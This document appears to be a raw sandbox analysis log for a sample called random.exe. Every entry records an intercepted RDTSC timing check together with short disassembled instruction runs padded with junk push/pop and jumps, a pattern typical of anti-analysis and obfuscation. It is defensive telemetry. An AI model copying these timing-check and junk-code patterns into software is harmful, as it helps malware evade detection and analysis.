Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37DB99 second address: 37DBAB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F417D1BB40Ah 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37DE7D second address: 37DE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F417CDB1D4Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37DE8F second address: 37DEA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007F417D1BB406h 0x00000011 popad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37DEA4 second address: 37DEB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F417CDB1D46h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37DEB3 second address: 37DEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 385A6E second address: 385A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 383AF3 second address: 383AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 383F66 second address: 383F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 383F70 second address: 383F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 384562 second address: 38457A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F417CDB1D4Eh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 38457A second address: 3845D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417D1BB418h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F417D1BB411h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F417D1BB40Eh 0x00000017 jp 00007F417D1BB406h 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jns 00007F417D1BB408h 0x00000027 jmp 00007F417D1BB40Eh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 384B1F second address: 384B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F417CDB1D4Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 384B32 second address: 384B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F417D1BB40Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 384E0A second address: 384E0F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3850F7 second address: 3850FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3850FD second address: 38510A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 38510A second address: 38510E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 38510E second address: 385114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3854A3 second address: 3854A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3854A9 second address: 3854D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F417CDB1D50h 0x0000000b jmp 00007F417CDB1D55h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3854D4 second address: 3854DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3854DA second address: 3854EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F417CDB1D4Fh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 389F8E second address: 389F93 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 389F93 second address: 389F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 38A239 second address: 38A243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F417D1BB406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 38A243 second address: 38A256 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 38F03E second address: 38F05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F417D1BB418h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 38F05C second address: 38F075 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D55h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 396ECC second address: 396ED1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 39701D second address: 397021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 397021 second address: 397027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 397443 second address: 39745E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F417CDB1D4Bh 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d jo 00007F417CDB1D46h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 398723 second address: 398729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 398729 second address: 39872D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 39E3C3 second address: 39E3EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB40Fh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F417D1BB410h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 39E3EC second address: 39E3F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 39E3F0 second address: 39E3F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3AB2EF second address: 3AB2F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3AFC96 second address: 3AFCB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F417D1BB40Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F417D1BB40Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3AFCB7 second address: 3AFCC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3AFCC3 second address: 3AFCC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3AFCC9 second address: 3AFCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3AFCCD second address: 3AFCD3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3B3480 second address: 3B3484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3BF833 second address: 3BF838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3C1DE8 second address: 3C1DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push edx 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2E0E64 second address: 2E0EA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB410h 0x00000007 push ebx 0x00000008 jmp 00007F417D1BB416h 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 jp 00007F417D1BB40Ch 0x00000017 jo 00007F417D1BB406h 0x0000001d push eax 0x0000001e push edx 0x0000001f ja 00007F417D1BB406h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2E0EA7 second address: 2E0EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3C7B85 second address: 3C7BAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007F417D1BB406h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007F417D1BB412h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3C7BAA second address: 3C7BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3C7BB0 second address: 3C7BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3CDB0E second address: 3CDB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417CDB1D4Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3CDB23 second address: 3CDB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F417D1BB406h 0x0000000a popad 0x0000000b push ecx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3CDB32 second address: 3CDB37 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3D837B second address: 3D837F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3D837F second address: 3D839A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417CDB1D50h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3D839A second address: 3D83A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3D9CBA second address: 3D9CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 pop esi 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3D9CC9 second address: 3D9CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3D9CCD second address: 3D9CD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3D9CD1 second address: 3D9CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F417D1BB40Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3E39A2 second address: 3E39AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3DEBE2 second address: 3DEC14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB40Dh 0x00000007 jmp 00007F417D1BB40Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F417D1BB40Fh 0x00000015 js 00007F417D1BB406h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3F22BE second address: 3F22D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417CDB1D53h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 407D66 second address: 407D8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB413h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jo 00007F417D1BB406h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 407D8B second address: 407DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417CDB1D4Bh 0x00000009 jns 00007F417CDB1D46h 0x0000000f popad 0x00000010 jnp 00007F417CDB1D4Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 407DA9 second address: 407DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 407DAF second address: 407DB4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 406CA4 second address: 406CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F417D1BB406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 406E1F second address: 406E25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4075EA second address: 4075F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4078AB second address: 4078BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 jo 00007F417CDB1D52h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4079F2 second address: 407A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F417D1BB406h 0x0000000a jp 00007F417D1BB40Eh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 407A10 second address: 407A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F417CDB1D46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 407A1F second address: 407A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 407A25 second address: 407A31 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jns 00007F417CDB1D46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 40C058 second address: 40C0DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F417D1BB416h 0x0000000e nop 0x0000000f xor edx, dword ptr [ebp+122D3297h] 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F417D1BB408h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov edx, dword ptr [ebp+1244B41Dh] 0x00000037 call 00007F417D1BB409h 0x0000003c jmp 00007F417D1BB413h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F417D1BB416h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 40C0DA second address: 40C0FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F417CDB1D4Ch 0x00000008 jne 00007F417CDB1D46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F417CDB1D4Bh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 40C0FB second address: 40C105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F417D1BB406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 40C105 second address: 40C11C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F417CDB1D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F417CDB1D46h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 40C448 second address: 40C452 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F417D1BB406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 40DD9F second address: 40DDA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 40DDA6 second address: 40DDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F417D1BB406h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jng 00007F417D1BB426h 0x00000019 jng 00007F417D1BB420h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 324070 second address: 32407B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F417CDB1D46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C07BD second address: 49C0806 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 call 00007F417D1BB413h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jmp 00007F417D1BB414h 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007F417D1BB40Dh 0x00000020 pop esi 0x00000021 push edi 0x00000022 pop esi 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0806 second address: 49C0843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F417CDB1D4Eh 0x00000010 xchg eax, ecx 0x00000011 jmp 00007F417CDB1D50h 0x00000016 push eax 0x00000017 jmp 00007F417CDB1D4Bh 0x0000001c xchg eax, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0843 second address: 49C0847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0847 second address: 49C084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C084B second address: 49C0851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0851 second address: 49C0878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F417CDB1D50h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov al, 31h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0878 second address: 49C087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0994 second address: 49C099A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C099A second address: 49C099E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C099E second address: 49C09DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-04h], 00000000h 0x0000000f jmp 00007F417CDB1D56h 0x00000014 mov esi, eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F417CDB1D4Dh 0x0000001e mov ch, BCh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C09DE second address: 49C09F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB40Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F417D1BB437h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
